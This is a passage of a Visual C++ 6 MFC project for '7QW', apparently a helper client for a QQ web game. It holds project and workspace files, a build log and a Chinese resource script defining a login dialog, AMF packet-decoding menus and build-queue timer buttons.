        IDR_MAINFRAME,


        RUNTIME_CLASS(CMy7QWDoc),


        RUNTIME_CLASS(CMainFrame),       // main SDI frame window


        RUNTIME_CLASS(CMy7QWView));


    AddDocTemplate(pDocTemplate);





    // Parse command line for standard shell commands, DDE, file open


    CCommandLineInfo cmdInfo;


    ParseCommandLine(cmdInfo);





    // Dispatch commands specified on the command line


    if (!ProcessShellCommand(cmdInfo))


        return FALSE;





    // The one and only window has been initialized, so show and update it.


    m_pMainWnd->ShowWindow(SW_MAXIMIZE);


    m_pMainWnd->UpdateWindow();





    return TRUE;


}








/////////////////////////////////////////////////////////////////////////////


// CAboutDlg dialog used for App About





class CAboutDlg : public CDialog


{


public:


    CAboutDlg();





// Dialog Data


    //{{AFX_DATA(CAboutDlg)


    enum { IDD = IDD_ABOUTBOX };


    //}}AFX_DATA





    // ClassWizard generated virtual function overrides


    //{{AFX_VIRTUAL(CAboutDlg)


    protected:


    virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV support


    //}}AFX_VIRTUAL





// Implementation


protected:


    //{{AFX_MSG(CAboutDlg)


        // No message handlers


    //}}AFX_MSG


    DECLARE_MESSAGE_MAP()


};





CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)


{


    //{{AFX_DATA_INIT(CAboutDlg)


    //}}AFX_DATA_INIT


}





void CAboutDlg::DoDataExchange(CDataExchange* pDX)


{


    CDialog::DoDataExchange(pDX);


    //{{AFX_DATA_MAP(CAboutDlg)


    //}}AFX_DATA_MAP


}





BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)


    //{{AFX_MSG_MAP(CAboutDlg)


        // No message handlers


    //}}AFX_MSG_MAP


END_MESSAGE_MAP()





// App command to run the dialog


void CMy7QWApp::OnAppAbout()


{


    CAboutDlg aboutDlg;


    aboutDlg.DoModal();


}





/////////////////////////////////////////////////////////////////////////////


// CMy7QWApp message handlers











源码/7QW.dsp

# Microsoft Developer Studio Project File - Name="7QW" - Package Owner=<4>
# Microsoft Developer Studio Generated Build File, Format Version 6.00
# ** DO NOT EDIT **

# TARGTYPE "Win32 (x86) Application" 0x0101

CFG=7QW - Win32 Debug
!MESSAGE This is not a valid makefile. To build this project using NMAKE,
!MESSAGE use the Export Makefile command and run
!MESSAGE 
!MESSAGE NMAKE /f "7QW.mak".
!MESSAGE 
!MESSAGE You can specify a configuration when running NMAKE
!MESSAGE by defining the macro CFG on the command line. For example:
!MESSAGE 
!MESSAGE NMAKE /f "7QW.mak" CFG="7QW - Win32 Debug"
!MESSAGE 
!MESSAGE Possible choices for configuration are:
!MESSAGE 
!MESSAGE "7QW - Win32 Release" (based on "Win32 (x86) Application")
!MESSAGE "7QW - Win32 Debug" (based on "Win32 (x86) Application")
!MESSAGE 

# Begin Project
# PROP AllowPerConfigDependencies 0
# PROP Scc_ProjName ""
# PROP Scc_LocalPath ""
CPP=cl.exe
MTL=midl.exe
RSC=rc.exe

!IF  "$(CFG)" == "7QW - Win32 Release"

# PROP BASE Use_MFC 6
# PROP BASE Use_Debug_Libraries 0
# PROP BASE Output_Dir "Release"
# PROP BASE Intermediate_Dir "Release"
# PROP BASE Target_Dir ""
# PROP Use_MFC 6
# PROP Use_Debug_Libraries 0
# PROP Output_Dir "Release"
# PROP Intermediate_Dir "Release"
# PROP Ignore_Export_Lib 0
# PROP Target_Dir ""
# ADD BASE CPP /nologo /MD /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_AFXDLL" /Yu"stdafx.h" /FD /c
# ADD CPP /nologo /MD /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_AFXDLL" /Yu"stdafx.h" /FD /c
# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD BASE RSC /l 0x804 /d "NDEBUG" /d "_AFXDLL"
# ADD RSC /l 0x804 /d "NDEBUG" /d "_AFXDLL"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LINK32=link.exe
# ADD BASE LINK32 /nologo /subsystem:windows /machine:I386
# ADD LINK32 ws2_32.lib zlib.lib /nologo /subsystem:windows /machine:I386 /nodefaultlib:"LIBCD.lib"

!ELSEIF  "$(CFG)" == "7QW - Win32 Debug"

# PROP BASE Use_MFC 6
# PROP BASE Use_Debug_Libraries 1
# PROP BASE Output_Dir "Debug"
# PROP BASE Intermediate_Dir "Debug"
# PROP BASE Target_Dir ""
# PROP Use_MFC 6
# PROP Use_Debug_Libraries 1
# PROP Output_Dir "Debug"
# PROP Intermediate_Dir "Debug"
# PROP Target_Dir ""
# ADD BASE CPP /nologo /MDd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_AFXDLL" /Yu"stdafx.h" /FD /GZ /c
# ADD CPP /nologo /MDd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_AFXDLL" /D "_MBCS" /Yu"stdafx.h" /FD /GZ /c
# ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32
# ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32
# ADD BASE RSC /l 0x804 /d "_DEBUG" /d "_AFXDLL"
# ADD RSC /l 0x804 /d "_DEBUG" /d "_AFXDLL"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LINK32=link.exe
# ADD BASE LINK32 /nologo /subsystem:windows /debug /machine:I386 /pdbtype:sept
# ADD LINK32 /nologo /subsystem:windows /debug /machine:I386 /pdbtype:sept

!ENDIF 

# Begin Target

# Name "7QW - Win32 Release"
# Name "7QW - Win32 Debug"
# Begin Group "Source Files"

# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat"
# Begin Source File

SOURCE=.\7QW.cpp
# End Source File
# Begin Source File

SOURCE=.\7QW.rc
# End Source File
# Begin Source File

SOURCE=.\7QWDoc.cpp
# End Source File
# Begin Source File

SOURCE=.\7QWView.cpp
# End Source File
# Begin Source File

SOURCE=.\7wAmfCmd.cpp
# End Source File
# Begin Source File

SOURCE=.\amf_object.cpp
# End Source File
# Begin Source File

SOURCE=.\amf_static.cpp
# End Source File
# Begin Source File

SOURCE=.\CxSplitterWnd.cpp
# End Source File
# Begin Source File

SOURCE=.\EndView.cpp
# End Source File
# Begin Source File

SOURCE=.\Fun1Dlg.cpp
# End Source File
# Begin Source File

SOURCE=.\Fun1LeftView.cpp
# End Source File
# Begin Source File

SOURCE=.\Fun1RightView.cpp
# End Source File
# Begin Source File

SOURCE=.\Fun2Dlg.cpp
# End Source File
# Begin Source File

SOURCE=.\Fun3Dlg.cpp
# End Source File
# Begin Source File

SOURCE=.\Fun4Dlg.cpp
# End Source File
# Begin Source File

SOURCE=.\HttpRequest.cpp
# End Source File
# Begin Source File

SOURCE=.\LoginDlg.cpp
# End Source File
# Begin Source File

SOURCE=.\MainFrm.cpp
# End Source File
# Begin Source File

SOURCE=.\SafeArrayHelper.cpp
# End Source File
# Begin Source File

SOURCE=.\ScriptObject.cpp
# End Source File
# Begin Source File

SOURCE=.\StaticFunctions.cpp
# End Source File
# Begin Source File

SOURCE=.\StdAfx.cpp
# ADD CPP /Yc"stdafx.h"
# End Source File
# Begin Source File

SOURCE=.\TopSheet.cpp
# End Source File
# Begin Source File

SOURCE=.\TopView.cpp
# End Source File
# Begin Source File

SOURCE=.\webbrowser2.cpp
# End Source File
# End Group
# Begin Group "Header Files"

# PROP Default_Filter "h;hpp;hxx;hm;inl"
# Begin Source File

SOURCE=.\7QW.h
# End Source File
# Begin Source File

SOURCE=.\7QWDoc.h
# End Source File
# Begin Source File

SOURCE=.\7QWView.h
# End Source File
# Begin Source File

SOURCE=.\7wAmfCmd.h
# End Source File
# Begin Source File

SOURCE=.\amf_object.h
# End Source File
# Begin Source File

SOURCE=.\amf_static.h
# End Source File
# Begin Source File

SOURCE=.\CxSplitterWnd.h
# End Source File
# Begin Source File

SOURCE=.\EndView.h
# End Source File
# Begin Source File

SOURCE=.\Fun1Dlg.h
# End Source File
# Begin Source File

SOURCE=.\Fun1LeftView.h
# End Source File
# Begin Source File

SOURCE=.\Fun1RightView.h
# End Source File
# Begin Source File

SOURCE=.\Fun2Dlg.h
# End Source File
# Begin Source File

SOURCE=.\Fun3Dlg.h
# End Source File
# Begin Source File

SOURCE=.\Fun4Dlg.h
# End Source File
# Begin Source File

SOURCE=.\HttpRequest.h
# End Source File
# Begin Source File

SOURCE=.\LoginDlg.h
# End Source File
# Begin Source File

SOURCE=.\macros.h
# End Source File
# Begin Source File

SOURCE=.\MainFrm.h
# End Source File
# Begin Source File

SOURCE=.\Resource.h
# End Source File
# Begin Source File

SOURCE=.\SafeArrayHelper.h
# End Source File
# Begin Source File

SOURCE=.\ScriptObject.h
# End Source File
# Begin Source File

SOURCE=.\StaticFunctions.h
# End Source File
# Begin Source File

SOURCE=.\StdAfx.h
# End Source File
# Begin Source File

SOURCE=.\TopSheet.h
# End Source File
# Begin Source File

SOURCE=.\TopView.h
# End Source File
# Begin Source File

SOURCE=.\webbrowser2.h
# End Source File
# End Group
# Begin Group "Resource Files"

# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe"
# Begin Source File

SOURCE=.\res\7QW.ico
# End Source File
# Begin Source File

SOURCE=.\res\7QW.rc2
# End Source File
# Begin Source File

SOURCE=.\res\7QWDoc.ico
# End Source File
# Begin Source File

SOURCE=.\res\default1.bin
# End Source File
# Begin Source File

SOURCE=.\res\main_header.bmp
# End Source File
# Begin Source File

SOURCE=.\res\msg1.ICO
# End Source File
# Begin Source File

SOURCE=.\res\Toolbar.bmp
# End Source File
# End Group
# Begin Source File

SOURCE=.\ReadMe.txt
# End Source File
# End Target
# End Project
# Section 7QW : {D30C1661-CDAF-11D0-8A3E-00C04FC9E26E}
# 	2:5:Class:CWebBrowser2
# 	2:10:HeaderFile:webbrowser2.h
# 	2:8:ImplFile:webbrowser2.cpp
# End Section
# Section 7QW : {8856F961-340A-11D0-A96B-00C04FD705A2}
# 	2:21:DefaultSinkHeaderFile:webbrowser2.h
# 	2:16:DefaultSinkClass:CWebBrowser2
# End Section








源码/7QW.dsw

Microsoft Developer Studio Workspace File, Format Version 6.00
# WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE!

###############################################################################

Project: "7QW"=.\7QW.dsp - Package Owner=<4>

Package=<5>
{{{
}}}

Package=<4>
{{{
}}}

###############################################################################

Global:

Package=<5>
{{{
}}}

Package=<3>
{{{
    {8856F961-340A-11D0-A96B-00C04FD705A2}
}}}

###############################################################################









源码/7QW.h

// 7QW.h : main header file for the 7QW application
//

#if !defined(AFX_7QW_H__D5CFEA1D_E72E_4714_8F44_E4E3FD06E920__INCLUDED_)
#define AFX_7QW_H__D5CFEA1D_E72E_4714_8F44_E4E3FD06E920__INCLUDED_

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000

#ifndef __AFXWIN_H__
	#error include 'stdafx.h' before including this file for PCH
#endif

#include "resource.h"       // main symbols

/////////////////////////////////////////////////////////////////////////////
// CMy7QWApp:
// See 7QW.cpp for the implementation of this class
//

class CMy7QWApp : public CWinApp
{
public:
	CMy7QWApp();

// Overrides
	// ClassWizard generated virtual function overrides
	//{{AFX_VIRTUAL(CMy7QWApp)
	public:
	virtual BOOL InitInstance();
	//}}AFX_VIRTUAL

// Implementation
	//{{AFX_MSG(CMy7QWApp)
	afx_msg void OnAppAbout();
		// NOTE - the ClassWizard will add and remove member functions here.
		//    DO NOT EDIT what you see in these blocks of generated code !
	//}}AFX_MSG
	DECLARE_MESSAGE_MAP()
};


/////////////////////////////////////////////////////////////////////////////

//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.

#endif // !defined(AFX_7QW_H__D5CFEA1D_E72E_4714_8F44_E4E3FD06E920__INCLUDED_)








源码/7QW.ncb






源码/7QW.opt






源码/7QW.plg






Build Log




--------------------Configuration: 7QW - Win32 Release--------------------




Command Lines



Creating temporary file "C:\DOCUME~1\Terry\LOCALS~1\Temp\RSP155.tmp" with contents
[
/nologo /MD /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_AFXDLL" /Fp"Release/7QW.pch" /Yu"stdafx.h" /Fo"Release/" /Fd"Release/" /FD /c 
"F:\work\投搞黑防\投稿7QW源码\MainFrm.cpp"
]
Creating command line "cl.exe @C:\DOCUME~1\Terry\LOCALS~1\Temp\RSP155.tmp" 
Creating temporary file "C:\DOCUME~1\Terry\LOCALS~1\Temp\RSP156.tmp" with contents
[
ws2_32.lib zlib.lib /nologo /subsystem:windows /incremental:no /pdb:"Release/7QW.pdb" /machine:I386 /nodefaultlib:"LIBCD.lib" /out:"Release/7QW.exe" 
".\Release\7QW.obj"
".\Release\7QWDoc.obj"
".\Release\7QWView.obj"
".\Release\7wAmfCmd.obj"
".\Release\amf_object.obj"
".\Release\amf_static.obj"
".\Release\CxSplitterWnd.obj"
".\Release\EndView.obj"
".\Release\Fun1Dlg.obj"
".\Release\Fun1LeftView.obj"
".\Release\Fun1RightView.obj"
".\Release\Fun2Dlg.obj"
".\Release\Fun3Dlg.obj"
".\Release\Fun4Dlg.obj"
".\Release\HttpRequest.obj"
".\Release\LoginDlg.obj"
".\Release\MainFrm.obj"
".\Release\SafeArrayHelper.obj"
".\Release\ScriptObject.obj"
".\Release\StaticFunctions.obj"
".\Release\StdAfx.obj"
".\Release\TopSheet.obj"
".\Release\TopView.obj"
".\Release\webbrowser2.obj"
".\Release\7QW.res"
]
Creating command line "link.exe @C:\DOCUME~1\Terry\LOCALS~1\Temp\RSP156.tmp"
Output Window



Compiling...
MainFrm.cpp
F:\work\投搞黑防\投稿7QW源码\MainFrm.cpp(137) : warning C4715: 'CMainFrame::OnCreateClient' : not all control paths return a value
Linking...



Results



7QW.exe - 0 error(s), 1 warning(s)






源码/7QW.rc

//Microsoft Developer Studio generated resource script.
//
#include "resource.h"

#define APSTUDIO_READONLY_SYMBOLS
/////////////////////////////////////////////////////////////////////////////
//
// Generated from the TEXTINCLUDE 2 resource.
//
#include "afxres.h"

/////////////////////////////////////////////////////////////////////////////
#undef APSTUDIO_READONLY_SYMBOLS

/////////////////////////////////////////////////////////////////////////////
// Chinese (P.R.C.) resources

#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS)
#ifdef _WIN32
LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
#pragma code_page(936)
#endif //_WIN32

#ifdef APSTUDIO_INVOKED
/////////////////////////////////////////////////////////////////////////////
//
// TEXTINCLUDE
//

1 TEXTINCLUDE DISCARDABLE 
BEGIN
    "resource.h\0"
END

2 TEXTINCLUDE DISCARDABLE 
BEGIN
    "#include ""afxres.h""\r\n"
    "\0"
END

3 TEXTINCLUDE DISCARDABLE 
BEGIN
    "#define _AFX_NO_SPLITTER_RESOURCES\r\n"
    "#define _AFX_NO_OLE_RESOURCES\r\n"
    "#define _AFX_NO_TRACKER_RESOURCES\r\n"
    "#define _AFX_NO_PROPERTY_RESOURCES\r\n"
    "\r\n"
    "#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS)\r\n"
    "#ifdef _WIN32\r\n"
    "LANGUAGE 4, 2\r\n"
    "#pragma code_page(936)\r\n"
    "#endif //_WIN32\r\n"
    "#include ""res\\7QW.rc2""  // non-Microsoft Visual C++ edited resources\r\n"
    "#include ""l.chs\\afxres.rc""          // Standard components\r\n"
    "#include ""l.chs\\afxprint.rc""        // printing/print preview resources\r\n"
    "#endif\r\n"
    "\0"
END

#endif    // APSTUDIO_INVOKED


/////////////////////////////////////////////////////////////////////////////
//
// Icon
//

// Icon with lowest ID value placed first to ensure application icon
// remains consistent on all systems.
IDR_MAINFRAME           ICON    DISCARDABLE     "res\\7QW.ico"
IDR_MY7QWTYPE           ICON    DISCARDABLE     "res\\7QWDoc.ico"
IDI_MSG                 ICON    DISCARDABLE     "res\\msg1.ICO"

/////////////////////////////////////////////////////////////////////////////
//
// Bitmap
//

IDR_MAINFRAME           BITMAP  MOVEABLE PURE   "res\\Toolbar.bmp"
IDB_BITMAP1             BITMAP  DISCARDABLE     "res\\main_header.bmp"

/////////////////////////////////////////////////////////////////////////////
//
// Toolbar
//

IDR_MAINFRAME TOOLBAR DISCARDABLE  16, 15
BEGIN
    BUTTON      ID_FILE_NEW
    BUTTON      ID_FILE_OPEN
    BUTTON      ID_FILE_SAVE
    SEPARATOR
    BUTTON      ID_EDIT_CUT
    BUTTON      ID_EDIT_COPY
    BUTTON      ID_EDIT_PASTE
    SEPARATOR
    BUTTON      ID_FILE_PRINT
    SEPARATOR
    BUTTON      ID_APP_ABOUT
END


/////////////////////////////////////////////////////////////////////////////
//
// Menu
//

IDR_MAINFRAME MENU PRELOAD DISCARDABLE 
BEGIN
    POPUP "登录"
    BEGIN
        MENUITEM "帐号登录",                    IDM_MENU_LOGIN
    END
    POPUP "文件(&F)"
    BEGIN
        MENUITEM "最近文件",                    ID_FILE_MRU_FILE1, GRAYED
        MENUITEM SEPARATOR
        MENUITEM "测试",                        ID_TEST
        MENUITEM "退出(&X)",                    ID_APP_EXIT
    END
    POPUP "查看(&V)"
    BEGIN
        MENUITEM "工具栏(&T)",                  ID_VIEW_TOOLBAR
        MENUITEM "状态栏(&S)",                  ID_VIEW_STATUS_BAR
    END
    POPUP "AMF解析"
    BEGIN
        MENUITEM "解析gzip压缩数据",            ID_AMF3_DECODE
        MENUITEM "解析未压缩数据",              ID_AMF3_DECODE2
    END
    POPUP "帮助(&H)"
    BEGIN
        MENUITEM "关于 7QW(&A)...",             ID_APP_ABOUT
    END
END


/////////////////////////////////////////////////////////////////////////////
//
// Accelerator
//

IDR_MAINFRAME ACCELERATORS PRELOAD MOVEABLE PURE 
BEGIN
    "N",            ID_FILE_NEW,            VIRTKEY, CONTROL
    "O",            ID_FILE_OPEN,           VIRTKEY, CONTROL
    "S",            ID_FILE_SAVE,           VIRTKEY, CONTROL
    "P",            ID_FILE_PRINT,          VIRTKEY, CONTROL
    "Z",            ID_EDIT_UNDO,           VIRTKEY, CONTROL
    "X",            ID_EDIT_CUT,            VIRTKEY, CONTROL
    "C",            ID_EDIT_COPY,           VIRTKEY, CONTROL
    "V",            ID_EDIT_PASTE,          VIRTKEY, CONTROL
    VK_BACK,        ID_EDIT_UNDO,           VIRTKEY, ALT
    VK_DELETE,      ID_EDIT_CUT,            VIRTKEY, SHIFT
    VK_INSERT,      ID_EDIT_COPY,           VIRTKEY, CONTROL
    VK_INSERT,      ID_EDIT_PASTE,          VIRTKEY, SHIFT
    VK_F6,          ID_NEXT_PANE,           VIRTKEY 
    VK_F6,          ID_PREV_PANE,           VIRTKEY, SHIFT
END


/////////////////////////////////////////////////////////////////////////////
//
// Dialog
//

IDD_ABOUTBOX DIALOG DISCARDABLE  0, 0, 235, 55
STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION "关于 7QW"
FONT 9, "宋体"
BEGIN
    ICON            IDR_MAINFRAME,IDC_STATIC,11,17,20,20
    LTEXT           "7QW 1.0 版",IDC_STATIC,40,10,119,8,SS_NOPREFIX
    LTEXT           "by TK.QQ:42523276",IDC_STATIC,40,25,119,8
    DEFPUSHBUTTON   "确定",IDOK,178,7,50,14,WS_GROUP
END

IDD_DIALOG1 DIALOG DISCARDABLE  0, 0, 536, 280
STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION "AFM包分析"
FONT 9, "宋体"
BEGIN
    CONTROL         "",IDC_STATIC1,"Static",SS_BLACKFRAME,7,7,38,247
END

IDD_DIALOG2 DIALOG DISCARDABLE  0, 0, 510, 331
STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION "功能2"
FONT 9, "宋体"
BEGIN
    PUSHBUTTON      "列出所有发展队列",IDC_BUTTON1,7,7,82,14
    PUSHBUTTON      "启动定时器",IDC_BUTTON3,95,7,50,14
    PUSHBUTTON      "结束定时器",IDC_BUTTON4,154,7,50,14
    PUSHBUTTON      "构造建造AMF",IDC_BUTTON2,213,7,50,14
END

IDD_DIALOG3 DIALOG DISCARDABLE  0, 0, 317, 94
STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION "功能3"
FONT 9, "宋体"
BEGIN
    DEFPUSHBUTTON   "OK",IDOK,260,7,50,14
    PUSHBUTTON      "Cancel",IDCANCEL,260,24,50,14
END

IDD_DIALOG4 DIALOG DISCARDABLE  0, 0, 302, 210
STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION "功能4"
FONT 9, "宋体"
BEGIN
    DEFPUSHBUTTON   "OK",IDOK,245,7,50,14
    PUSHBUTTON      "Cancel",IDCANCEL,245,24,50,14
END

IDD_DIALOG5 DIALOG DISCARDABLE  0, 0, 278, 330
STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION "游戏登录"
FONT 9, "宋体"
BEGIN
    LTEXT           "QQ帐号：",IDC_STATIC,7,76,35,8
    EDITTEXT        IDC_EDIT1,42,69,229,14,ES_AUTOHSCROLL | ES_NUMBER
    LTEXT           "QQ密码：",IDC_STATIC,7,102,35,8
    EDITTEXT        IDC_EDIT2,42,99,229,14,ES_PASSWORD | ES_AUTOHSCROLL
    LTEXT           "服务区：",IDC_STATIC,7,156,33,8
    EDITTEXT        IDC_EDIT3,42,154,229,14,ES_AUTOHSCROLL
    PUSHBUTTON      "登录",IDC_BUTTON1,7,305,50,14
    LTEXT           "验证码：",IDC_STATIC,7,128,33,8
    CONTROL         "",IDC_STATIC1,"Static",SS_BLACKRECT,163,114,70,14
    EDITTEXT        IDC_EDIT4,42,125,111,14,ES_AUTOHSCROLL
    PUSHBUTTON      "换张验证图",IDC_BUTTON2,183,305,50,14
    COMBOBOX        IDC_COMBO1,7,182,262,123,CBS_SIMPLE | CBS_SORT | 
                    WS_VSCROLL | WS_TABSTOP
    CONTROL         "",IDC_STATIC,"Static",SS_ETCHEDHORZ,7,56,264,1
    PUSHBUTTON      "AMF测试",IDC_BUTTON6,95,305,50,14
END


#ifndef _MAC
/////////////////////////////////////////////////////////////////////////////
//
// Version
//

VS_VERSION_INFO VERSIONINFO
 FILEVERSION 1,0,0,1
 PRODUCTVERSION 1,0,0,1
 FILEFLAGSMASK 0x3fL
#ifdef _DEBUG
 FILEFLAGS 0x1L
#else
 FILEFLAGS 0x0L
#endif
 FILEOS 0x4L
 FILETYPE 0x1L
 FILESUBTYPE 0x0L
BEGIN
    BLOCK "StringFileInfo"
    BEGIN
        BLOCK "080404b0"
        BEGIN
            VALUE "Comments", "\0"
            VALUE "CompanyName", "\0"
            VALUE "FileDescription", "7QW Microsoft 基础类应用程序\0"
            VALUE "FileVersion", "1, 0, 0, 1\0"
            VALUE "InternalName", "7QW\0"
            VALUE "LegalCopyright", "版权所有 (C) 2011\0"
            VALUE "LegalTrademarks", "\0"
            VALUE "OriginalFilename", "7QW.EXE\0"
            VALUE "PrivateBuild", "\0"
            VALUE "ProductName", "7QW 应用程序\0"
            VALUE "ProductVersion", "1, 0, 0, 1\0"
            VALUE "SpecialBuild", "\0"
        END
    END
    BLOCK "VarFileInfo"
    BEGIN
        VALUE "Translation", 0x804, 1200
    END
END

#endif    // !_MAC


/////////////////////////////////////////////////////////////////////////////
//
// DESIGNINFO
//

#ifdef APSTUDIO_INVOKED
GUIDELINES DESIGNINFO DISCARDABLE 
BEGIN
    IDD_ABOUTBOX, DIALOG
    BEGIN
        LEFTMARGIN, 7
        RIGHTMARGIN, 228
        TOPMARGIN, 7
        BOTTOMMARGIN, 48
    END

    IDD_DIALOG1, DIALOG
    BEGIN
        LEFTMARGIN, 7
        RIGHTMARGIN, 529
        TOPMARGIN, 7
        BOTTOMMARGIN, 273
    END

    IDD_DIALOG2, DIALOG
    BEGIN
        LEFTMARGIN, 7
        RIGHTMARGIN, 503
        TOPMARGIN, 7
        BOTTOMMARGIN, 324
    END

    IDD_DIALOG3, DIALOG
    BEGIN
        LEFTMARGIN, 7
        RIGHTMARGIN, 310
        TOPMARGIN, 7
        BOTTOMMARGIN, 87
    END

    IDD_DIALOG4, DIALOG
    BEGIN
        LEFTMARGIN, 7
        RIGHTMARGIN, 295
        TOPMARGIN, 7
        BOTTOMMARGIN, 203
    END

    IDD_DIALOG5, DIALOG
    BEGIN
        LEFTMARGIN, 7
        RIGHTMARGIN, 271
        BOTTOMMARGIN, 323
    END
END
#endif    // APSTUDIO_INVOKED


/////////////////////////////////////////////////////////////////////////////
//
// 24
//

1                       24      DISCARDABLE     "res\\default1.bin"

/////////////////////////////////////////////////////////////////////////////
//
// String Table
//

STRINGTABLE PRELOAD DISCARDABLE 
BEGIN
    IDR_MAINFRAME           "7QW\n\nMy7QW\n\n\nMy7QW.Document\nMy7QW Document"
END

STRINGTABLE PRELOAD DISCARDABLE 
BEGIN
    AFX_IDS_APP_TITLE       "7QW"
    AFX_IDS_IDLEMESSAGE     "就绪"
END

STRINGTABLE DISCARDABLE 
BEGIN
    ID_INDICATOR_EXT        "扩展名"
    ID_INDICATOR_CAPS       "大写"
    ID_INDICATOR_NUM        "数字"
    ID_INDICATOR_SCRL       "滚动"
    ID_INDICATOR_OVR        "改写"
    ID_INDICATOR_REC        "记录"
END

STRINGTABLE DISCARDABLE 
BEGIN
    ID_FILE_NEW             "建立新文档\n新建"
    ID_FILE_OPEN            "打开一个现有文档\n打开"
    ID_FILE_CLOSE           "关闭活动文档\n关闭"
    ID_FILE_SAVE            "保存活动文档\n保存"
    ID_FILE_SAVE_AS         "将活动文档以一个新文件名保存\n另存为"
    ID_FILE_PAGE_SETUP      "改变打印选项\n页面设置"
    ID_FILE_PRINT_SETUP     "改变打印机及打印选项\n打印设置"
    ID_FILE_PRINT           "打印活动文档\n打印"
    ID_FILE_PRINT_PREVIEW   "显示整页\n打印预览"
END

STRINGTABLE DISCARDABLE 
BEGIN
    ID_APP_ABOUT            "显示程序信息，版本号和版权\n关于"
    ID_APP_EXIT             "退出应用程序；提示保存文档\n退出"
END

STRINGTABLE DISCARDABLE 
BEGIN
    ID_FILE_MRU_FILE1       "打开该文档"
    ID_FILE_MRU_FILE2       "打开该文档"
    ID_FILE_MRU_FILE3       "打开该文档"
    ID_FILE_MRU_FILE4       "打开该文档"
    ID_FILE_MRU_FILE5       "打开该文档"
    ID_FILE_MRU_FILE6       "打开该文档"
    ID_FILE_MRU_FILE7       "打开该文档"
    ID_FILE_MRU_FILE8       "打开该文档"
    ID_FILE_MRU_FILE9       "打开该文档"
    ID_FILE_MRU_FILE10      "打开该文档"
    ID_FILE_MRU_FILE11      "打开该文档"
    ID_FILE_MRU_FILE12      "打开该文档"
    ID_FILE_MRU_FILE13      "打开该文档"
    ID_FILE_MRU_FILE14      "打开该文档"
    ID_FILE_MRU_FILE15      "打开该文档"
    ID_FILE_MRU_FILE16      "打开该文档"
END

STRINGTABLE DISCARDABLE 
BEGIN
    ID_NEXT_PANE            "切换到下一个窗格\n下一窗格"
    ID_PREV_PANE            "切换回前一个窗格\n前一窗格"
END

STRINGTABLE DISCARDABLE 
BEGIN
    ID_WINDOW_SPLIT         "将活动的窗口分隔成窗格\n分隔"
END

STRINGTABLE DISCARDABLE 
BEGIN
    ID_EDIT_CLEAR           "删除被选对象\n删除"
    ID_EDIT_CLEAR_ALL       "全部删除\n全部删除"
    ID_EDIT_COPY            "复制被选对象并将其置于剪贴板上\n复制"
    ID_EDIT_CUT             "剪切被选对象并将其置于剪贴板上\n剪切"
    ID_EDIT_FIND            "查找指定的正文\n查找"
    ID_EDIT_PASTE           "插入剪贴板内容\n粘贴"
    ID_EDIT_REPEAT          "重复上一步操作\n重复"
    ID_EDIT_REPLACE         "用不同的正文替换指定的正文\n替换"
    ID_EDIT_SELECT_ALL      "选择整个文档\n选择全部"
    ID_EDIT_UNDO            "撤消最后一步操作\n撤消"
    ID_EDIT_REDO            "重新执行先前已撤消的操作\n重新执行"
END

STRINGTABLE DISCARDABLE 
BEGIN
    ID_VIEW_TOOLBAR         "显示或隐藏工具栏\n显隐工具栏"
    ID_VIEW_STATUS_BAR      "显示或隐藏状态栏\n显隐状态栏"
END

STRINGTABLE DISCARDABLE 
BEGIN
    AFX_IDS_SCSIZE          "改变窗口大小"
    AFX_IDS_SCMOVE          "改变窗口位置"
    AFX_IDS_SCMINIMIZE      "将窗口缩小成图标"
    AFX_IDS_SCMAXIMIZE      "把窗口放大到最大尺寸"
    AFX_IDS_SCNEXTWINDOW    "切换到下一个文档窗口"
    AFX_IDS_SCPREVWINDOW    "切换到先前的文档窗口"
    AFX_IDS_SCCLOSE         "关闭活动的窗口并提示保存所有文档"
END

STRINGTABLE DISCARDABLE 
BEGIN
    AFX_IDS_SCRESTORE       "把窗口恢复到正常大小"
    AFX_IDS_SCTASKLIST      "激活任务表"
END

STRINGTABLE DISCARDABLE 
BEGIN
    AFX_IDS_PREVIEW_CLOSE   "关闭打印预览模式\n取消预阅"
END

#endif    // Chinese (P.R.C.) resources
/////////////////////////////////////////////////////////////////////////////



#ifndef APSTUDIO_INVOKED
/////////////////////////////////////////////////////////////////////////////
//
// Generated from the TEXTINCLUDE 3 resource.
//
#define _AFX_NO_SPLITTER_RESOURCES
#define _AFX_NO_OLE_RESOURCES
#define _AFX_NO_TRACKER_RESOURCES
#define _AFX_NO_PROPERTY_RESOURCES

